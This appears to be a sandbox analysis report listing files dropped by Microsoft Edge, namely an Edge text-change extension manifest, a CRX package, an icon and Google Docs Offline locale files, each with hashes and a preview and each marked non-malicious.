Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7944_1252422673\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\2f24fcb1-f6de-4ed9-8dfe-dc76d5bb402f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
